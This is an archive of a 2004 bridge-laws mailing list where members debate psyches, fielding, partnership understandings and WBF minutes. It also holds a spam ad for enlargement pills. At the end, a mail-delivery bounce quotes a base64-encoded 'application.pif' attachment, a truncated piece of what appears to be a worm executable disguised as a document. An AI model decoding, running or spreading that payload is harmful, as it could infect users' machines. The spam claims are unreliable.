it. > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Fri Mar 26 17:33:29 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 26 Mar 2004 17:33:29 +0000 Subject: [blml] No infraction? In-Reply-To: <002b01c41352$5fa06650$6a51fea9@ams.com> References: <1B6raV-1tugFc0@fwd02.sul.t-online.com> <002b01c41352$5fa06650$6a51fea9@ams.com> Message-ID: In article <002b01c41352$5fa06650$6a51fea9@ams.com>, Konrad Ciborowski writes > Konrad Ciborowski > Krakow, Poland (now in Denver) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ sheesh, I knew the American sphere of influence was large, but teleportation ........ > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Fri Mar 26 17:46:05 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 26 Mar 2004 12:46:05 -0500 Subject: [blml] Psyches In-Reply-To: <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> Message-ID: <74F7917B-7F4D-11D8-AE67-0030656F6826@rochester.rr.com> On Friday, Mar 26, 2004, at 08:20 US/Eastern, David Stevenson wrote: > I still think comparing apples with oranges is not getting us > anywhere, but if you insist, let's. > > The Law says it is not illegal to give partner UI, but if he uses UI > that's illegal, and we adjust. 73A2? 73B1? In the latter case, if I don't use the UI I got from partner, does that mean there was no communication? > The Law says it is not illegal to psyche, but if he uses knowledge > of your psyches that's illegal, and we adjust. > > It really does not sound much different to me. At the moment, I'm afraid, bridge has dropped somewhere south of the equator on my priority list, so I give up. From hermandw@hdw.be Fri Mar 26 18:07:18 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 19:07:18 +0100 Subject: [blml] Psyches In-Reply-To: <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> Message-ID: <40647156.7010907@hdw.be> David, David, David, of all the crazy things you've been saying in the past, this beats them all: David Stevenson wrote: > > I still think comparing apples with oranges is not getting us > anywhere, but if you insist, let's. > > The Law says it is not illegal to give partner UI, but if he uses UI > that's illegal, and we adjust. > > The Law says it is not illegal to psyche, but if he uses knowledge of > your psyches that's illegal, and we adjust. > > It really does not sound much different to me. > Try and explain this one to me: I realize, through the bidding, through the opponent's actions, through my cards and through my knowledge of partner's psyching tendencies, that partner may well have psyched. Which one of those is UI? What law says I am not allowed to bid as I want? Sorry David, but to insist that it is the fielding which is in some way the illegality is so completely wrong that I won't go on with this message, I'll just say more hurtful things. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From jean-pierre.rocafort@meteo.fr Fri Mar 26 18:26:46 2004 From: jean-pierre.rocafort@meteo.fr (jean-pierre.rocafort@meteo.fr) Date: Fri, 26 Mar 2004 19:26:46 +0100 Subject: [blml] Psyches Message-ID: Herman De Wael Envoy=E9 par : blml-admin@rtflb.org 26/03/2004 19:07 =20 Pour : blml cc :=20 Objet : Re: [blml] Psyches David, David, David, of all the crazy things you've been saying in the=20 past, this beats them all: David Stevenson wrote: >=20 > I still think comparing apples with oranges is not getting us=20 > anywhere, but if you insist, let's. >=20 > The Law says it is not illegal to give partner UI, but if he uses UI=20 > that's illegal, and we adjust. >=20 > The Law says it is not illegal to psyche, but if he uses knowledge of=20 > your psyches that's illegal, and we adjust. >=20 > It really does not sound much different to me. >=20 Try and explain this one to me: I realize, through the bidding, through the opponent's actions,=20 through my cards and through my knowledge of partner's psyching=20 tendencies, that partner may well have psyched. Which one of those is UI? What law says I am not allowed to bid as I want? Sorry David, but to insist that it is the fielding which is in some=20 way the illegality is so completely wrong that I won't go on with this=20 message, I'll just say more hurtful things. *** why do you complain? it's not a matter of law but a matter of ebu's=20 regulations. they seemed to need something to regulate psyches, they chose = this sort of "rule of coincidence": they define what is "fielding" and=20 when there is "fielding" they score 30/60. it fits the british way of=20 life, all ebu members are happy with it, they don't insist to extend it to = other SO. where is the problem? jp rocafort ***=20 --=20 Herman DE WAEL Antwerpen Belgium http://www.hdw.be =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F Jean-Pierre Rocafort METEO-FRANCE DSI/SC/D 42 Avenue Gaspard Coriolis 31057 Toulouse CEDEX Tph: 05 61 07 81 02 (33 5 61 07 81 02) Fax: 05 61 07 81 09 (33 5 61 07 81 09) e-mail: jean-pierre.rocafort@meteo.fr Serveur WWW METEO-FRANCE: http://www.meteo.fr =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F From blml@blakjak.com Fri Mar 26 19:49:07 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 26 Mar 2004 19:49:07 +0000 Subject: [blml] Psyches In-Reply-To: <40647156.7010907@hdw.be> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> <40647156.7010907@hdw.be> Message-ID: Herman De Wael wrote >David, David, David, of all the crazy things you've been saying in the >past, this beats them all: > >David Stevenson wrote: > >> I still think comparing apples with oranges is not getting us >>anywhere, but if you insist, let's. >> The Law says it is not illegal to give partner UI, but if he uses >>UI that's illegal, and we adjust. >> The Law says it is not illegal to psyche, but if he uses knowledge >>of your psyches that's illegal, and we adjust. >> It really does not sound much different to me. >> > >Try and explain this one to me: > >I realize, through the bidding, through the opponent's actions, through >my cards and through my knowledge of partner's psyching tendencies, >that partner may well have psyched. >Which one of those is UI? >What law says I am not allowed to bid as I want? > >Sorry David, but to insist that it is the fielding which is in some way >the illegality is so completely wrong that I won't go on with this >message, I'll just say more hurtful things. Fine: I have not said "the illegality is the fielding": you are not going to have a go at me for saying it. WTP? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From dr_rannexplorer@krovatka.net Fri Mar 26 19:58:38 2004 From: dr_rannexplorer@krovatka.net (Ccu) Date: Fri, 26 Mar 2004 14:58:38 -0500 Subject: [blml] Fwd:In-crease Your Manhood By 3+inches!!.........become Message-ID: natgain+

THE NEW
NaturalGain+ PEN1S Enlargement Pills
will
EXPAND
LENGTHEN
and
ENLARGE YOUR PEN1S 3+ INCHES

* 100% Mon.ey Back Guaran.tee
* FR.EE Bottle Of NaturalGain+ Worth Over $50
* FR.EE "Male Help E-Book" Worth Over $50

MORE INFO HERE

no more emailz

slurpJeroboam From HarrisR@missouri.edu Fri Mar 26 23:04:16 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Fri, 26 Mar 2004 17:04:16 -0600 Subject: [blml] One lump or two? In-Reply-To: References: Message-ID: Richard Hills quotes: >WBF LC minutes 30th August 2000, item 8: > >>Whatever the level of the game, it is >>unacceptable for a player, hearing his >>partner open third-in-hand at the one-level, >>and hearing a natural strong 1NT from RHO, > >to do otherwise than double with 11 HCP. > Now, if they'd just tell me what to lead... REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From HarrisR@missouri.edu Fri Mar 26 23:33:27 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Fri, 26 Mar 2004 17:33:27 -0600 Subject: [blml] destroy the village to save it In-Reply-To: References: Message-ID: >Ed Reppert: > >>My problem with this is that I have seen, at >>the club level at least, an interpretation of >>this regulation (it's in the ACBL General >>Conditions of Contest, see below) that a >>partnership must *have* agreements, >>particularly in "to be expected" situations. >>I don't buy it. >> >>ACBL General Conditions of Contest, >>Conventions and Convention Cards, item 2: >> >>"A partnership is responsible for knowing >>when their methods apply in probable (to be >>expected) auctions. A pair may be entitled to >>redress if their opponents did not originally >>have a clear understanding of when and how to >>use a convention that was employed." > >Richard James Hills: > >A further problem with the second sentence of >item 2, is that it implies that Convention >Disruption is an infraction for which there >may be an entitlement to redress. > >Was item 2 first promulgated at the time when >Bobby Wolff was ACBL President? The Definition of Convention, in part 1, contains the phrase "by partnership agreement", and, in part 2, "a meaning by agreement", so it seems to me that the ACBL regulations can only be applied to agreed use of a convention without clear understanding of what goes on during its operation. It doesn't say one must have agreements. I can play Stayman and my partner can play 2C over partner's 1NT as natural. (We have not discussed this.) I open 1NT, he calls 2C, I bid 2H (showing my 4 card suit. He bids 3C, this looks forward going to me, so I bid 3NT. OOPS! Down 3. Some people hate it when they don't know what is going on because their opponents don't know either. I love it. Another likely good score! I can't make up a decent example of how such a violation can lead to harm to the opponents, though I can recall having been given bad results by such events. I just don't remember them in detail. I know I've got a lot more good results than bad results when opponents have gotten messed up by not knowing what is going on in their own conventions. Forgetting is a problem, but that is another matter. I play opening 2D as 4 spades, 5 or more hearts, 11-15 HCP. But sometimes I forget and open 2D on a nice 2D weak 2 hand. Is that lack of clear understanding or not? It sure is lack of something, pretty much like forgetting that a certain card has become a winner. (I forget stuff all the time. I make a shopping list if I'm going to a store and need more than one item!) REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Sat Mar 27 01:36:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 27 Mar 2004 11:36:56 +1000 Subject: [blml] One lump or two? Message-ID: Richard James Hills quoted: >>WBF LC minutes 30th August 2000, item 8: >> >>>Whatever the level of the game, it is >>>unacceptable for a player, hearing his >>>partner open third-in-hand at the one-level, >>>and hearing a natural strong 1NT from RHO, >>>to do otherwise than double with 11 HCP. >> >>[snip] Herman De Wael queried: >This is a big snip, I believe. > >I can hardly believe this is the full >statement and the unanimous verdict of the >WBFLC. What has gone wrong here? Richard James Hills clarifies: Nothing has gone wrong here. I deleted the second paragraph of item 8 merely because it was irrelevant to my posed question of, "One infraction or two?" To allay Herman's suspicions, here is the previously deleted second paragraph of item 8: "If psyches in a partnership are frequent enough for a player to be aware that his partner might have psyched in a particular position then there is an agreement. It does not matter whether the player uses that agreement. It is then dealt with as any other agreement as far as disclosure is concerned." Richard James Hills' original posting: >>Hypothetical auction -> >> >>West North East South >>Pass(1) Pass 1S(2) 1NT >>Pass(3) >> >>(1) balanced shape with 11 hcp Herman De Wael queried: >I'm assuming you're just describing the >hand, not the meaning of this pass. Richard James Hills clarifies: Sorry, sloppy use of language from me. I should have written -> (1) West's kibitzer notices West holds 11 hcp with a balanced shape Richard James Hills' original posting: >>(2) unLawful CPU infracting Laws 40A and 40B Herman De Wael queried: >unlawful for what reason? Presumably because >the opponents have not been told? Richard James Hills clarifies: Sorry, overly succinct language from me. I should have written -> (2) East-West describe their methods as SAYC. East's kibitzer has noticed East opening 1S in third seat with a 3-card suit, and 3 hcp, three times previously in this session, against three different opponents. East's kibitzer looks at East's cards again on this deal, and East's kibitzer notices that East again holds 3 spades and 3 hcp. North-South have no knowledge of East's habits, since North-South are visitors from Tasmania. Richard James Hills' original posting: >>(3) unacceptable consequential Pass Herman De Wael queried: >unacceptable by which law? Richard James Hills clarifies: In my opinion, Herman is being obtuse. The WBF LC minute, quoted above, officially interpreted Laws 40A and 40B when defining West's second Pass as "unacceptable". Richard James Hills' original posting: >>One infraction or two? >> >>That is, was the combined pitching-and- >>catching operation by East-West a single >>infraction? >> >>Or did East commit an infraction, and West >>then commit a consequential but additional >>infraction? Herman De Wael pretermitted: >Even if you consider the MI to opponents to be >an infraction, the passing can never be an >infraction. L40A stipulates that a player can >bid what he wants. [big snip] Richard James Hills clarifies: The final phrase of Law 40A specifically states an exception to bidding what one wants -> ".....provided that such call or play is not based on a partnership understanding." In my not-strongly-held personal opinion, West's WBFLC-defined "unacceptable" second Pass is a consequential but additional infraction. That is, in my not-strongly-held personal opinion, East's 1S was an infraction of Laws 40A and 40B, while West's "unacceptable" second Pass is a consequential but additional infraction of Law 73A1. My mind is open to persuasion on this not- strongly-held personal opinion, so I would be interested in postings from other blmlers on this particular quiddity of the Laws. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Sat Mar 27 04:18:00 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 27 Mar 2004 04:18:00 -0000 Subject: [blml] destroy the village to save it References: Message-ID: <143101c413b2$7e7f60c0$719868d5@tinyhrieuyik> IMO, the law should insist, that when explaining partner's call or play, you must guess the meaning if you don't know. A mistaken explanation of the partnership agreement should be treated as misinformation. (IMO, a call should have a meaning but a play may be meaningingless). This suggestion assumes that partnership rapport is just as integral to Bridge as is judgement in bidding and play. Nevertheless, the law should allow leeway to learners: The TD could exempt from punishment a player whose partnership had agreed to play a "standard" system in its entirety without alteration or addition. As argued previously, this would be fairer and much simpler. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 16/03/2004 From blml@wellsborocomputing.com Sat Mar 27 09:00:25 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 27 Mar 2004 04:00:25 -0500 Subject: [blml] destroy the village to save it In-Reply-To: <143101c413b2$7e7f60c0$719868d5@tinyhrieuyik> References: <143101c413b2$7e7f60c0$719868d5@tinyhrieuyik> Message-ID: On Sat, 27 Mar 2004 04:18:00 -0000, Nigel Guthrie wrote: >IMO, the law should insist, that when explaining partner's >call or play, you must guess the meaning if you don't know. >A mistaken explanation of the partnership agreement should >be treated as misinformation. (IMO, a call should have a >meaning but a play may be meaningingless). > >This suggestion assumes that partnership rapport is just as >integral to Bridge as is judgement in bidding and play. > >Nevertheless, the law should allow leeway to learners: > >The TD could exempt from punishment a player whose partnership >had agreed to play a "standard" system in its entirety without >alteration or addition. > >As argued previously, this would be fairer and much simpler. > Presumably you'd also extend this to players who were playing together for the first time - or would you make it illegal for clubs to operate a "host" system instead? Maybe the answer would be to "guess" that anything undiscussed showed 36+ HCP balanced. There should be a reasonable chance that everyone could tell that there had been a mistake from the AI of their own holdings. ;-) Brian. From hermandw@hdw.be Sat Mar 27 09:14:36 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 27 Mar 2004 10:14:36 +0100 Subject: [blml] Psyches In-Reply-To: References: Message-ID: <406545FC.90309@hdw.be> jean-pierre.rocafort@meteo.fr wrote: > > *** > why do you complain? it's not a matter of law but a matter of ebu's > regulations. they seemed to need something to regulate psyches, they chose > this sort of "rule of coincidence": they define what is "fielding" and > when there is "fielding" they score 30/60. it fits the british way of > life, all ebu members are happy with it, they don't insist to extend it to > other SO. where is the problem? > The problem arises when people who should know better defend this policy rather than agree that it goes against the Laws of bridge. > jp rocafort > *** > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Sat Mar 27 09:26:47 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 27 Mar 2004 10:26:47 +0100 Subject: [blml] One lump or two? In-Reply-To: References: Message-ID: <406548D7.50008@hdw.be> Richard, I wish to apologise for a few too many remarks on the form of your message rather than its content. You asked a fair question and deserver a fair answer. I thought I had (also) given that answer, but I'll try again: richard.hills@immi.gov.au wrote: > > Richard James Hills' original posting: > > >>>(3) unacceptable consequential Pass > > > Herman De Wael queried: > > >>unacceptable by which law? > > > Richard James Hills clarifies: > > In my opinion, Herman is being obtuse. The WBF > LC minute, quoted above, officially interpreted > Laws 40A and 40B when defining West's second > Pass as "unacceptable". > And I say, what does unacceptable mean? Do they mean that this bid is unacceptable in the sense of an inadmissible double, or of a call based on use of UI, and that the remedy is to force the player to make another call? Or do they simply mean that these actions cannot be tolerated and some other form of adjustment needs to be taken? I don't see by which law they can force the pass to be changed. > Richard James Hills' original posting: > > >>>One infraction or two? >>> >>>That is, was the combined pitching-and- >>>catching operation by East-West a single >>>infraction? >>> >>>Or did East commit an infraction, and West >>>then commit a consequential but additional >>>infraction? > > > Herman De Wael pretermitted: > > >>Even if you consider the MI to opponents to be >>an infraction, the passing can never be an >>infraction. L40A stipulates that a player can >>bid what he wants. > > > [big snip] > > Richard James Hills clarifies: > > The final phrase of Law 40A specifically states > an exception to bidding what one wants -> > > ".....provided that such call or play is not > based on a partnership understanding." > > In my not-strongly-held personal opinion, West's > WBFLC-defined "unacceptable" second Pass is a > consequential but additional infraction. > I agree that there has been a breach of L40A and L40B, and I did not need the WBFLC to tell me that. > That is, in my not-strongly-held personal > opinion, East's 1S was an infraction of Laws > 40A and 40B, while West's "unacceptable" second > Pass is a consequential but additional > infraction of Law 73A1. > I agree with the first. I don't agree with the second. I don't regard system discussions as illegal communication. If I talk system with my partner, and forget to put the conclusion on my CC, then I have failed in my duties of full disclosure, but you're not generally going to accuse me of collusion and cheating, are you? > My mind is open to persuasion on this not- > strongly-held personal opinion, so I would be > interested in postings from other blmlers on > this particular quiddity of the Laws. > I think your use of L73A1 is a clutch at straws. The pass provides evidence for a PU. This may or may not be a CPU. But a CPU must be dealt with using L40C, nothing more (unless there is evidence of collusion - like players saying to oneanother "I'll psyche on board 13"). > Best wishes > > RJH > -------------------------------------------------------------------------------------- > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments immediately. This > email, including attachments, may contain confidential, legally privileged > and/or copyright information, the unauthorised use of which is prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states them to be > the view of the Department of Immigration and Multicultural and Indigenous > Affairs (DIMIA). DIMIA respects your privacy and has obligations under the > Privacy Act 1988 (see www.immi.gov.au). > -------------------------------------------------------------------------------------- > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From nigel.guthrie@ntlworld.com Sat Mar 27 12:24:18 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 27 Mar 2004 12:24:18 -0000 Subject: [blml] destroy the village to save it References: <143101c413b2$7e7f60c0$719868d5@tinyhrieuyik> Message-ID: <00b801c413f6$6dd9f660$7a9468d5@tinyhrieuyik> > [Brian Meadows] > Presumably you'd also extend this to players who were > playing together for the first time - or would you make it > illegal for clubs to operate a "host" system instead? [Nigel] NO. The suggestion is a boon for new partnerships and hosts. They just agree to play the defined "standard" system. [Brian] > Maybe the answer would be to "guess" that anything > undiscussed showed 36+ HCP balanced. There should be a > reasonable chance that everyone could tell that there had > been a mistake from the AI of their own holdings. ;-) [Nigel] No under suggested rules, that would lead to TD calls (: unless the standard system specified such defaults :) >> [[Nigel]] >> The TD could exempt from punishment a player whose >> partnership had agreed to play a "standard" system in >> its entirety without alteration or addition. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From blml@wellsborocomputing.com Sat Mar 27 13:46:13 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 27 Mar 2004 08:46:13 -0500 Subject: [blml] destroy the village to save it In-Reply-To: <00b801c413f6$6dd9f660$7a9468d5@tinyhrieuyik> References: <143101c413b2$7e7f60c0$719868d5@tinyhrieuyik> <00b801c413f6$6dd9f660$7a9468d5@tinyhrieuyik> Message-ID: <3nva60p4ccbntnqssi3i1r4mpkoj2dtaar@4ax.com> On Sat, 27 Mar 2004 12:24:18 -0000, Nigel Guthrie wrote: > >[Nigel] >NO. The suggestion is a boon for new partnerships and hosts. >They just agree to play the defined "standard" system. > Which will almost certainly leave them with gaping holes in their agreements. See below. >>> [[Nigel]] >>> The TD could exempt from punishment a player whose >>> partnership had agreed to play a "standard" system in >>> its entirety without alteration or addition. > Only "could"? Either your "standard" system will end up like SAYC and not defined in anywhere like sufficient detail (you only have to read OKBridge's mailing list for proof of that), or else it comes out in book form, and very few people will bother to read it, let alone learn it. IMO, your idea creates a worse problem than you're trying to solve. Brian. From jrmayne@mindspring.com Sat Mar 27 16:29:16 2004 From: jrmayne@mindspring.com (John R. Mayne) Date: Sat, 27 Mar 2004 08:29:16 -0800 Subject: [blml] One lump or two? References: Message-ID: <4065ABDC.4000209@mindspring.com> richard.hills@immi.gov.au wrote: > > > > Richard James Hills quoted: > > >>>WBF LC minutes 30th August 2000, item 8: >>> >>> >>>>Whatever the level of the game, it is >>>>unacceptable for a player, hearing his >>>>partner open third-in-hand at the one-level, >>>>and hearing a natural strong 1NT from RHO, >>>>to do otherwise than double with 11 HCP. >>>> >>>[snip] >>> > > Herman De Wael queried: > > >>This is a big snip, I believe. >> >>I can hardly believe this is the full >>statement and the unanimous verdict of the >>WBFLC. What has gone wrong here? >> > > Richard James Hills clarifies: > > Nothing has gone wrong here. I deleted the > second paragraph of item 8 merely because it > was irrelevant to my posed question of, "One > infraction or two?" To allay Herman's > suspicions, here is the previously deleted > second paragraph of item 8: > > "If psyches in a partnership are frequent > enough for a player to be aware that his > partner might have psyched in a particular > position then there is an agreement. It > does not matter whether the player uses that > agreement. It is then dealt with as any > other agreement as far as disclosure is > concerned." I had the same reaction as Herman to the original post; it couldn't possibly be so that the WBF would mandate a double on an 11-count opposite, say, a systemic 8-15 HCP opener. I also viewed it as wildly unlikely that they would require a double on QJxxxx KJTxx Q Q, after P-P-1S-1N-? Obviously, I was mistaken. My bridge judgment continues to erode. (On the other issue, my position is that fielding is likely to show a CPU, but not necessarily - if there are wrong-way fields on similar hands opposite non-psychs, and there is full disclosure of methods and style, there's no adjustment.) --JRM From Mailer-Daemon@server.chillisauce.co.uk Sat Mar 27 20:19:51 2004 From: Mailer-Daemon@server.chillisauce.co.uk (Mail Delivery System) Date: Sat, 27 Mar 2004 20:19:51 +0000 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: forum_master@chillisauce.co.uk This message has been rejected because it has a potentially executable attachment "application.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.169.205] (helo=chillisauce.co.uk) by server.chillisauce.co.uk with esmtp (Exim 4.30) id 1B7KHU-0001LH-Nm for forum_master@chillisauce.co.uk; Sat, 27 Mar 2004 20:19:49 +0000 From: blml@rtflb.org To: forum_master@chillisauce.co.uk Subject: Re: Your software Date: Sat, 27 Mar 2004 20:19:49 +0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0014_000011FE.000042AB" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0014_000011FE.000042AB Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. ------=_NextPart_000_0014_000011FE.000042AB Content-Type: application/octet-stream; name="application.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="application.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q 